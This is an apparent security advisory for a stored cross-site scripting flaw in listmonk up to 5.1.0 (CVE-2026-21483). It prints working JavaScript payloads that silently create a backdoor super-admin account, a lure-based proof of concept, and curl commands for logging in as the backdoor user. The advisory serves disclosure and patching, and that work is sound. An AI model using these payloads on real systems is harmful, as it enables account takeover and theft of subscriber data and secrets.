Security Advisory: Stored XSS Leading to Admin Account Takeover

Affected Versions: ≤ 5.1.0
Vulnerability Type: CWE-79: Stored Cross-Site Scripting

Summary

A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.

The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.

Required Attacker Permissions

campaigns:manage    - Create/edit campaigns
campaigns:get       - View campaigns  
lists:get_all       - Access lists
templates:get       - Access templates

Note: These are common permissions for content managers who are not full admins.

Attack Vectors****Vector 1: Raw HTML (Direct Script Tag)

<script> fetch('/api/users’, { method: 'POST’, headers: {’Content-Type’: 'application/json’}, credentials: 'include’, body: ‘{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}’ }); </script>

Vector 2: Go Template Safe Function

{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'});</script>` | Safe }}

Attack Scenarios****Scenario 1: Campaign Preview Attack

1. Attacker creates campaign with XSS payload
2. Request is made to super admin: “Please review my newsletter draft”
3. Super admin opens campaign and clicks Preview
4. XSS executes → Backdoor admin account created
5. Attacker logs in with backdoor / Hacked123

Scenario 2: Archive Link Attack (No Click Required)

1. Attacker creates campaign with XSS payload
2. Attacker enables Archive for the campaign
3. Attacker shares archive link: http://localhost:9000/archive/{uuid}
4. Super admin visits the link (no preview click needed!)
5. XSS executes automatically → Account takeover

Proof of Concept****Step 1: Create Malicious Campaign

As lower-privileged user, create campaign with body:

<script> fetch('/api/users’, { method: 'POST’, headers: {’Content-Type’: 'application/json’}, credentials: 'include’, body: JSON.stringify({ username: 'backdoor’, email: 'backdoor@evil.com’, name: 'Backdoor Admin’, password: 'Hacked123’, type: 'user’, status: 'enabled’, userRoleId: 1, user_role_id: 1 }) }); </script>

Step 2: Enable Archive (Optional - for link-based attack)

1. Edit campaign settings
2. Enable “Archive”
3. Copy archive URL: http://localhost:9000/archive/{campaign-uuid}

Step 3: Trigger Execution

Option A - Preview:

• Send campaign to super admin for “review”
• Super admin previews → XSS fires

Option B - Archive Link:

• Share archive URL with super admin
• Super admin visits link → XSS fires automatically

Step 4: Verify Takeover

Login as backdoor admin

curl -X POST “http://localhost:9000/admin/login” \ -d “username=backdoor&password=Hacked123” \ -c cookies.txt -L

Verify super admin access

curl -b cookies.txt “http://localhost:9000/api/users”

Evidence Screenshots

[Screenshot 1: Lower-privileged user creating malicious campaign]

[Screenshot 2: Super admin previewing campaign]

[Screenshot 3: Backdoor user successfully created]

Impact

Action

Possible via XSS

Create backdoor admin

✅ Yes

Export all subscribers

✅ Yes

Modify SMTP settings

✅ Yes

Delete all campaigns

✅ Yes

Access API keys/secrets

✅ Yes

Affected Components

Component

XSS Works?

Method

Campaign body (Raw HTML)

✅ Yes

Direct <script> tag

Campaign body (Template)

✅ Yes

{{ \ ` | Safe }}`

Template body

✅ Yes

Both methods

Campaign archive

✅ Yes

Automatic execution on visit

References

• GHSA-jmr4-p576-v565
• https://nvd.nist.gov/vuln/detail/CVE-2026-21483
• knadh/listmonk@74dc5a0
• https://github.com/knadh/listmonk/releases/tag/v6.0.0